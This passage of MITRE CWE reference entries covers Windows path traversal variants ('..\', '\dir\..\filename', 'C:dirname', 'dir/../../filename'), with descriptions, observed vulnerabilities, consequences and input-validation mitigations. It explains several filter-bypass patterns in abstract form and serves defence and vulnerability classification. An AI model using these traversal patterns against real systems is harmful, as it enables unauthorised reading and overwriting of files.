This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER\absolute\pathname\here ('backslash absolute path')
CERT C Secure CodingFIO05-CIdentify files using multiple file attributes
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Observed_Examples, Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Backslash Absolute Path - \absolute\pathname\here

CWE-30: Path Traversal: '\dir\..\filename'

Weakness ID: 30
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\dir\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-26, except using "\" instead of "/". The '\dir\..\filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only checks for "..\" at the beginning of the input, so a "\..\" can bypass that check.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER7 - '\directory\..\filename
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms, Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Leading Directory Dot Dot Backslash - '\directory\..\filename'

CWE-28: Path Traversal: '..\filedir'

Weakness ID: 28
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "..\" sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The '..\' manipulation is the canonical manipulation for operating systems that use "\" as directory separators, such as Windows. However, it is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
"\" not in denylist for web server, allowing path traversal attacks when the server is run in Windows and other OSes.
Arbitrary files may be read files via ..\ (dot dot) sequences in an HTTP request.
Directory traversal vulnerability in search engine for web server allows remote attackers to read arbitrary files via "..\" sequences in queries.
Directory traversal vulnerability in FTP server allows remote attackers to read arbitrary files via "..\" sequences in a GET request.
Directory traversal vulnerability in servlet allows remote attackers to execute arbitrary commands via "..\" sequences in an HTTP request.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'..\filename' ('dot dot backslash')
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms, Description, Name
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Dot Dot Backslash - '..\filename'
2008-10-14Path Traversal: '..\filename'

CWE-39: Path Traversal: 'C:dirname'

Weakness ID: 39
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts input that contains a drive letter or Windows volume letter ('C:dirname') that potentially redirects access to an unintended location or arbitrary file.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

The attacker may be able to create or overwrite critical files that are used to execute code, such as programs or libraries.
Integrity

Technical Impact: Modify Files or Directories

The attacker may be able to overwrite or create critical files, such as programs, libraries, or important data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, appending a new account at the end of a password file may allow an attacker to bypass authentication.
Confidentiality

Technical Impact: Read Files or Directories

The attacker may be able read the contents of unexpected files and expose sensitive data. If the targeted file is used for a security mechanism, then the attacker may be able to bypass that mechanism. For example, by reading a password file, the attacker could conduct brute force password guessing attacks in order to break into an account on the system.
Availability

Technical Impact: DoS: Crash, Exit, or Restart

The attacker may be able to overwrite, delete, or corrupt unexpected critical files such as programs, libraries, or important data. This may prevent the software from working at all and in the case of a protection mechanisms such as authentication, it has the potential to lockout every user of the software.
+ Observed Examples
ReferenceDescription
Remote attackers can read arbitrary files by specifying the drive letter in the requested URL.
FTP server allows remote attackers to list arbitrary directories by using the "ls" command and including the drive letter name (e.g. C:) in the requested pathname.
FTP server allows a remote attacker to retrieve privileged system information by specifying arbitrary paths.
FTP server allows remote attackers to list the contents of arbitrary drives via a ls command that includes the drive letter as an argument.
Server allows remote attackers to browse arbitrary directories via a full pathname in the arguments to certain dynamic pages.
Remote attackers can read arbitrary files via an HTTP request whose argument is a filename of the form "C:" (Drive letter), "//absolute/path", or ".." .
FTP server read/access arbitrary files using "C:\" filenames
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'C:dirname' or C: (Windows volume or 'drive letter')
CERT C Secure CodingFIO05-CIdentify files using multiple file attributes
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Drive Letter or Windows Volume - 'C:dirname'

CWE-27: Path Traversal: 'dir/../../filename'

Weakness ID: 27
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize multiple internal "../" sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The 'directory/../../filename' manipulation is useful for bypassing some path traversal protection schemes. Sometimes a program only removes one "../" sequence, so multiple "../" can bypass that check. Alternately, this manipulation could be used to bypass a check for "../" at the beginning of the pathname, moving up more than one directory level.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Server allows remote attackers to cause a denial of service via certain HTTP GET requests containing a %2e%2e (encoded dot-dot), several "/../" sequences, or several "../" in a URI.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'directory/../../filename
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
